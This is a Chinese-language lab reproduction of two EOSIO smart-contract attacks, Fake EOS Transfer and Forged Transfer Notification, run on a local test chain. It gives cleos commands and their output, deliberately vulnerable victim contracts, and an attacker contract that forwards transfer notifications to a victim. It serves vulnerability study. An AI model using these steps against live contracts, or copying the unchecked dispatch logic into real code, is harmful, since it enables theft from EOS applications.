# 漏洞复现过程
# (Fake EOS Transfer、Forged Transfer Notification)

## 1 Fake EOS Transfer 复现

### 1.1 攻击账户：*attacker*1, 部署合约账户：*attacker*3, 合约：*eosio.token*

### 1.1.1 创建账户：*attacker*3

```
[lwy@localhost Vul1]$ cleos create account eosio attacker3
EOS7YsnqrGspL8hYWHhpiv3L9EapxVjDwbcEY7aUpQgSuMDKhV2Vq
executed transaction: 4390
fdd9cb503dd625e21239d7f2b404d1b1a94542961da9ab19a83eba7afa4e  200 bytes  548 us
#         eosio <= eosio::newaccount            {"creator":"eosio","name":"
attacker3","owner":{"threshold":1,"keys":[{"key":"EOS7YsnqrGspL8hYWHhpiv3...
warning: transaction executed locally, but may not be confirmed by the network
 yet         ]

```

### 1.1.2 账户 *attacker*3 部署 *eosio.token* 合约

注：此时的 *issue* 是 *attacker*3，即与官方 *eosio.token* 合约部署的账户不一样

```
[lwy@localhost Vul1]$ cleos set contract attacker3 eosio.token/ -p attacker3

Reading WASM from /home/lwy/contracts/Vul1/eosio.token/eosio.token.wasm...
Publishing contract...
executed transaction:
be76fb40ad73a9972b9922f3fb8806e6d46a5a93ef1930bbff91698f6dbcd892  8104 bytes
2883 us
#         eosio <= eosio::setcode               {"account":"attacker3","vmtype
":0,"vmversion":0,"code":"0061736d01000000017e1560037f7e7f0060057f7e7e...
#         eosio <= eosio::setabi                {"account":"attacker3","abi":"
0e656f73696f3a3a6162692f312e30010c6163636f756e745f6e616d65046e616d6505...
warning: transaction executed locally, but may not be confirmed by the network
 yet         ]

```

### 1.1.3 账户 *attacker*3 创建名为 “*EOS*” 的 *fake EOS*

```
[lwy@localhost Vul1]$ cleos push action attacker3 create '["attacker3
","10000000.0000 EOS"]' -p attacker3
executed transaction: 24
f4f6d5c91a644ffdc00976aa245f54415995760d097f3977739b8f98f2a040  120 bytes  497
us
#     attacker3 <= attacker3::create            {"issuer":"attacker3","
maximum_supply":"10000000.0000 EOS"}
warning: transaction executed locally, but may not be confirmed by the network
 yet         ]

```

### 1.1.4 账户 *attacker*3 给攻击者的另一个账户 *attacker*1 发送一些 “*fake EOS*”

```
[lwy@localhost Vul1]$ cleos push action attacker3 issue '["attacker1","10000000.0000 EOS","fakeEOS"]' -p attacker3
executed transaction: c327e23d608fa8df704869a879c93e68fa674e2a1c36c73c9d76b2f32f5492b8  128 bytes  1252 us
#     attacker3 <= attacker3::issue              {"to":"attacker1","quantity":"10000000.0000 EOS","memo":"fakeEOS"}
#     attacker3 <= attacker3::transfer           {"from":"attacker3","to":"attacker1","quantity":"10000000.0000 EOS","memo":"fakeEOS"}
#     attacker1 <= attacker3::transfer           {"from":"attacker3","to":"attacker1","quantity":"10000000.0000 EOS","memo":"fakeEOS"}
warning: transaction executed locally, but may not be confirmed by the network yet

```

### 1.1.5 官方 *eosio.token* 给攻击者的另一个账户 *attacker*1 发送一些 “*true EOS*”

```
[lwy@localhost Vul1]$ cleos push action eosio.token issue '["attacker1","100.0000 EOS","true EOS"]' -p eosio
executed transaction: f18af5b528cbaba8fb872f11d2e9b48ea78de5643b743df37b9954610cfb9a34  128 bytes  1196 us
#   eosio.token <= eosio.token::issue            {"to":"attacker1","quantity":"100.0000 EOS","memo":"true EOS"}
#   eosio.token <= eosio.token::transfer         {"from":"eosio","to":"attacker1","quantity":"100.0000 EOS","memo":"true EOS"}
#         eosio <= eosio.token::transfer         {"from":"eosio","to":"attacker1","quantity":"100.0000 EOS","memo":"true EOS"}
#     attacker1 <= eosio.token::transfer         {"from":"eosio","to":"attacker1","quantity":"100.0000 EOS","memo":"true EOS"}
warning: transaction executed locally, but may not be confirmed by the network yet        ]

```

### 1.1.6 查询 *attacker*1 的余额

注：这是 *fake EOS* 余额

```
[lwy@localhost Vul1]$ cleos get currency balance attacker3 attacker1
10000000.0000 EOS

```

### 1.1.7 查询 *attacker1* 的余额

注：这是 *true EOS* 余额

```
[lwy@localhost Vul1]$ cleos get currency balance eosio.token attacker1
100.0000 EOS

```

## 1.2 测试账户（受害者）：*victim*；测试合约（受害者）：*test.cpp*

### 1.2.1 *test.cpp*

```
#include <eosiolib/eosio.hpp>
#include <eosiolib/print.hpp>
#include <eosiolib/asset.hpp>
#include <string>

using namespace std;
using namespace eosio;
class test1 : public contract{
  public:
  using contract::contract;

  [[eosio::action]]
  void hi(account_name user)
  {
    print("hello:", name{user});
  }

  [[eosio::action]]
  void transfer(account_name from, account_name to, asset quantity, string memo)
  {
    // require_auth(from);
    print("\n Receiving transfer message: from ", name{from}, " to ", name{to}, ",", quantity, ",", memo);

    if(from == _self || to != _self){
      return;
    }

    //require_recipient(N(victim));
  }
};

extern "C" {
  void apply( uint64_t receiver, uint64_t code, uint64_t action ) {

    print("receiver:", name{receiver}, ", code:", name{code}, ", action:", name{action}, "\n");
    auto self = receiver;


    if( action == N(onerror)) {
      /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */
      eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account");
    }

    if( code == self || action == N(onerror) ) {
      test1 thiscontract( self );
      switch( action ) {
        EOSIO_API( test1, (hi)(transfer) )
      }
      /* does not allow destructor of thiscontract to run: eosio_exit(0); */
    }
  //    else {
  //          if (code == N(eosio.token)) {
  //              if (action == N(transfer)) {
  //                  print("\n eosio.token's transfer function is called!");
  //                  test1 thiscontract(self);
  //                  eosio::execute_action(&thiscontract, &test1::transfer);
  //              }
  //          }
  //      }
  }
}

```

### 1.2.2 创建账户：*victim*

```
[lwy@localhost Vul1]$ cleos create account eosio victim EOS7YsnqrGspL8hYWHhpiv3L9EapxVjDwbcEY7aUpQgSuMDKhV2Vq

```

### 1.2.3 账户 *victim* 部署 *test* 合约

```
[lwy@localhost Vul1]$ cleos set contract victim test/ -p victim
Reading WASM from /home/lwy/contracts/Vul1/test/test.wasm...
Publishing contract...
executed transaction: 668e07c9b481d710f3ca5521da8be02fc982bca33c041cf1297d074c56f7f9d0  3456 bytes  1749 us
#         eosio <= eosio::setcode               {"account":"victim","vmtype":0,"vmversion":0,"code":"0061736d0100000001661260027f7e0060057f7e7e7f7f0...
#         eosio <= eosio::setabi                {"account":"victim","abi":"0e656f73696f3a3a6162692f312e300002026869000104757365720...

```

### 1.2.4 官方 *eosio.token* 给受害者 *victim* 发送一些 “*true EOS*”

```
[lwy@localhost Vul1]$ cleos push action eosio.token transfer '["eosio","victim","10.0000 EOS",""]' -p eosio
executed transaction: 7 f91740d944faaa7e4d874c8c153cd95cc1b81d2831d993e47837e0c2661cf84  128 bytes  897 us
#   eosio.token <= eosio.token::transfer        {"from":"eosio","to":"victim","quantity":"10.0000 EOS","memo":""}
#         eosio <= eosio.token::transfer        {"from":"eosio","to":"victim","quantity":"10.0000 EOS","memo":""}
#        victim <= eosio.token::transfer        {"from":"eosio","to":"victim","quantity":"10.0000 EOS","memo":""}
>> receiver:victim, code:eosio.token, action:transfer
warning: transaction executed locally, but may not be confirmed by the network yet       ]

```

### 1.2.5 查询 *attacker*1 的余额

注：这是 *true EOS* 余额

```
[lwy@localhost Vul1]$ cleos get currency balance eosio.token victim
10.0000 EOS

```

## 1.3 进行攻击

### 1.3.1 账户 *attacker*1（攻击者）向账户 *victim* 受害者）发送 *fake EOS*

```
[lwy@localhost Vul1]$ cleos push action attacker3 transfer '["attacker1","victim","15.0000 EOS","fake EOS transfer"]' -p attacker1
executed transaction: 67 baba9893980d4374d3f1821528c3517b6f6bcab033d0097da1f78a720f8539  144 bytes  980 us
#     attacker3 <= attacker3::transfer         {"from":"attacker1","to":"victim","quantity":"15.0000 EOS","memo":"fake EOS transfer"}
#     attacker1 <= attacker3::transfer         {"from":"attacker1","to":"victim","quantity":"15.0000 EOS","memo":"fake EOS transfer"}
#        victim <= attacker3::transfer         {"from":"attacker1","to":"victim","quantity":"15.0000 EOS","memo":"fake EOS transfer"}
>> receiver:victim, code:attacker3, action:transfer
warning: transaction executed locally, but may not be confirmed by the network yet       ]

```

### 1.3.2 查询相应账户的 *true EOS* 余额

```
    [lwy@localhost Vul1]$ cleos get currency  balance eosio.token attacker1
    100.0000 EOS
    [lwy@localhost Vul1]$ cleos get currency  balance eosio.token victim
    10.0000 EOS

```

### 1.3.3 查询相应账户的 *fake EOS* 余额

```
    [lwy@localhost Vul1]$ cleos get currency  balance attacker3 victim
    15.0000 EOS
    [lwy@localhost Vul1]$ cleos get currency  balance attacker3 attacker1
    9999985.0000 EOS

```

# 2 Forged Transfer Notification 复现

## 2.1 攻击者账户：*attacker2*，*attacker4*（用于部署攻击合约），攻击合约：*eosbethack.cpp*

### 2.1.1 *eosbethack.cpp* 合约

```cpp
#include <eosiolib/eosio.hpp>
#include <eosiolib/print.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/action.hpp>
#include <eosiolib/symbol.hpp>
#include <cstring>

using namespace eosio;
using namespace std;

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
  void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
    print("receiver:", name{receiver}, ", code:", name{code}, ", action:", name{action}, "\n");\
    auto self = receiver; \
    if( action == N(onerror)) { \
      /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
      eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
    } \
    if((code == N(eosio.token) && action == N(transfer)) ) { \
      print("\n eosio.token's transfer function is called!");\
      TYPE thiscontract( self ); \
      switch( action ) { \
        EOSIO_API( TYPE, MEMBERS ) \
      } \
      /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
    } \
  } \
} \

class eosbethack: public eosio::contract {
  public:
  using contract::contract;

  /// @abi action
  [[eosio::action]]
  void transfer(account_name from, account_name to, asset quantity, string memo) {
    if (from == _self || to != _self)
    {
      return;
    }

    require_recipient(N(victim2));
  }
```

```
    };

    EOSIO_ABI_EX( eosbethack, (transfer) )

```

### 2.1.2 创建账户 *attacker2* 及 *attacker4*

```
 [lwy@localhost Vul2]$ cleos create account eosio attacker2 EOS7YsnqrGspL8hYWHhpiv3L9EapxVjDwbcEY7aUpQgSuMDKhV2Vq
 executed transaction: 3f5d1b0fb5d5114c270801c0fafb9038afa65b43aacfd0318204e5f7db2f67c0  200 bytes  571 us
#         eosio <= eosio::newaccount             {"creator":"eosio","name":"attacker2","owner":{"threshold":1,"keys":[{"key":"EOS7YsnqrGspL8hYWHhpiv3...
 warning: transaction executed locally, but may not be confirmed by the network yet         ]

```

```
 [lwy@localhost Vul2]$ cleos create account eosio attacker4 EOS7YsnqrGspL8hYWHhpiv3L9EapxVjDwbcEY7aUpQgSuMDKhV2Vq
 executed transaction: cfdef2bb3754e927fd2de0edb59d12194cffe8fb4695299f86b31f4912ad0b3b  200 bytes  642 us
#         eosio <= eosio::newaccount             {"creator":"eosio","name":"attacker4","owner":{"threshold":1,"keys":[{"key":"EOS7YsnqrGspL8hYWHhpiv3...
 warning: transaction executed locally, but may not be confirmed by the network yet         ]

```

### 2.1.3 账户 *attacker4* 部署 *eosbethack.cpp* 合约（用于将 *notification* 传给 *victim2* 受害者）

```
 [lwy@localhost Vul2]$ cleos set contract attacker4 eosbethack/ -p attacker4
 Reading WASM from /home/lwy/contracts/Vul2/eosbethack/eosbethack.wasm...
 Publishing contract...
 executed transaction: 204527b55b6a36b052023162a14179b100329d967e1a3b18980d95b7a90e3fc3  3296 bytes  1657 us
#         eosio <= eosio::setcode                {"account":"attacker4","vmtype":0,"vmversion":0,"code":"0061736d01000000016111160057f7e7e7f7f00600000...
#         eosio <= eosio::setabi                 {"account":"attacker4","abi":"0e656f73696f3a3a6162692f312e300001087472616e7366657200040466726f6d046e...
 warning: transaction executed locally, but may not be confirmed by the network yet         ]

```

### 2.1.4 给攻击者账户 *attacker2* 发送一些 *EOS*

```
[lwy@localhost Vul2]$ cleos push action eosio.token issue '["attacker2","1000.0000 EOS",""]' -p eosio
executed transaction: 890c4b5f7b37b519e2da089bb3212108c6f3759021f2ecb4e31243f67fe1ee50  120 bytes  1094 us
#   eosio.token <= eosio.token::issue            {"to":"attacker2","quantity":"1000.0000 EOS","memo":""}
#   eosio.token <= eosio.token::transfer         {"from":"eosio","to":"attacker2","quantity":"1000.0000 EOS","memo":""}
#         eosio <= eosio.token::transfer         {"from":"eosio","to":"attacker2","quantity":"1000.0000 EOS","memo":""}
#     attacker2 <= eosio.token::transfer         {"from":"eosio","to":"attacker2","quantity":"1000.0000 EOS","memo":""}
warning: transaction executed locally, but may not be confirmed by the network yet         ]

```

### 2.1.5 查询账户 *attacker2* 余额

```
[lwy@localhost Vul2]$ cleos get currency balance eosio.token attacker2
1000.0000 EOS

```

## 2.2 测试账户（受害者）：*victim2*，测试合约（受害者）：*eosbet.cpp*

### 2.2.1 *test.cpp*

```
#include <eosiolib/eosio.hpp>
#include <eosiolib/print.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/action.hpp>
#include <eosiolib/symbol.hpp>
#include <cstring>

using namespace eosio;
using namespace std;

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
  void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
    print("receiver:", name{receiver}, ", code:", name{code}, ", action:", name{action}, "\n");\
      auto self = receiver; \
      if( action == N(onerror)) { \
        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
      eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
    } \
    if((code == N(eosio.token) && action == N(transfer)) ) { \
      TYPE thiscontract( self ); \
      switch( action ) { \
        EOSIO_API( TYPE, MEMBERS ) \
      } \
      /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
    } \
  } \
} \

class eosbet: public eosio::contract {
  public:
  using contract::contract;

  /// @abi action
  [[eosio::action]]
  void transfer(account_name from, account_name to, asset quantity, string memo) {
    /*if (to != _self) {
      return;
    }*/
    print("in eosbet transfer,", name{ from }, ",", name{ to });
  }
};

EOSIO_ABI_EX( eosbet, (transfer) )

```

### 2.2.2 创建账户:*victim2*

```
[lwy@localhost Vul2]$ cleos create account eosio victim2 EOS7YsnqrGspL8hYWHhpiv3L9EapxVjDwbcEY7aUpQgSuMDKhV2Vq
executed transaction: 83e2c87fdc3c38b350ad34347e0c98a9b83433dde9fb008e3cd546240a3bf4de  200 bytes  544 us
#         eosio <= eosio::newaccount            {"creator":"eosio","name":"victim2","owner":{"threshold":1,"keys":[{"key":"EOS7YsnqrGspL8hYWHhpiv3L9...
warning: transaction executed locally, but may not be confirmed by the network yet         ]

```

### 2.2.3 账户 *victim2* 部署 *eosbet* 合约

```
[lwy@localhost Vul2]$ cleos set contract victim2 eosbet/ -p victim2
Reading WASM from /home/lwy/contracts/Vul2/eosbet/eosbet.wasm...
Publishing contract...
executed transaction: 5
c25deffd09ca8a6874ef8c48db2a1571d3bf8244609b4216a096ffbd363783a  3248 bytes
1322 us
#         eosio <= eosio::setcode               {"account":"victim2","vmtype"
:0,"vmversion":0,"code":"0061736d01000000016111160057f7e7e7f7f0060000060...
#         eosio <= eosio::setabi                {"account":"victim2","abi":"0
e656f73696f3a3a6162692f312e30000108747261 6e736665720004046672 6f6d046e61...
warning: transaction executed locally, but may not be confirmed by the network
 yet         ]

```

### 2.2.4 给 *victim2* 发送一些 *EOS*

```
[lwy@localhost Vul2]$ cleos push action eosio.token issue '["victim2
","1000.0000 EOS",""]' -p eosio
executed transaction:
a99d8a0c1650330d64b20a8d61eaa8a8d16f1d8c749005b4077b89dd913b9e94  120 bytes
1212 us
#   eosio.token <= eosio.token::issue           {"to":"victim2","quantity":"
1000.0000 EOS","memo":""}
#   eosio.token <= eosio.token::transfer        {"from":"eosio","to":"victim2"
,"quantity":"1000.0000 EOS","memo":""}
#         eosio <= eosio.token::transfer        {"from":"eosio","to":"victim2"
,"quantity":"1000.0000 EOS","memo":""}
#       victim2 <= eosio.token::transfer        {"from":"eosio","to":"victim2"
,"quantity":"1000.0000 EOS","memo":""}
>> receiver:victim2, code:eosio.token, action:transfer
warning: transaction executed locally, but may not be confirmed by the network
 yet         ]

```

### 2.2.5 查询账户 *victim2* 余额

```
[lwy@localhost Vul2]$ cleos get currency balance eosio.token victim2
1000.0000 EOS

```

## 2.3 进行攻击

### 2.3.1 账户 *attacker*2（攻击者）向账户 *attacker*4（攻击者）发送 *EOS*

**注:**这里攻击账户 *attacker*2 向攻击账户 *attacker*4 转账,第一个 “>>” 输出了 *eosbethack.cpp* 中 *apply* 函数里面的内容。

而由于账户 *attacker*4 部署了 *eosbethack* 合约,其中有一段代码:*require_recipient*(*N*(*victim*2)),会把收到的转账 *notification* 发给账户 *victim*2，所以也会调用 *eosbet.cpp* 合约的 *apply* 函数，第二个 “>>” 输出了 *eosbet.cpp* 中的 *apply* 函数内容

```
 [lwy@localhost Vul2]$ cleos push action eosio.token transfer '["attacker2","attacker4","100.0000 EOS","transfer himself"]' -p attacker2
 executed transaction: 94404abba1d0ea4800be2a1b829f43b89f8316506b7e7b554c0a82ae0cef55b5  144 bytes  1146 us
#   eosio.token <= eosio.token::transfer        {"from":"attacker2","to":"attacker4","quantity":"100.0000 EOS","memo":"transfer himself"}
#     attacker2 <= eosio.token::transfer        {"from":"attacker2","to":"attacker4","quantity":"100.0000 EOS","memo":"transfer himself"}
#     attacker4 <= eosio.token::transfer        {"from":"attacker2","to":"attacker4","quantity":"100.0000 EOS","memo":"transfer himself"}
>> receiver:attacker4, code:eosio.token, action:transfer
#       victim2 <= eosio.token::transfer        {"from":"attacker2","to":"attacker4","quantity":"100.0000 EOS","memo":"transfer himself"}
>> receiver:victim2, code:eosio.token, action:transfer
 warning: transaction executed locally, but may not be confirmed by the network yet         ]

```

### 2.3.2 查询相应账户的余额

由于受害者合约中并未加入实际的转账行为，故其余额并不会减少，但是最终还是收到了来自攻击者的转账通知，所以表明攻击成功。

```
[lwy@localhost Vul2]$ cleos get currency balance eosio.token attacker2
900.0000 EOS
[lwy@localhost Vul2]$ cleos get currency balance eosio.token attacker4
1100.0000 EOS
[lwy@localhost Vul2]$ cleos get currency balance eosio.token victim2
1000.0000 EOS

```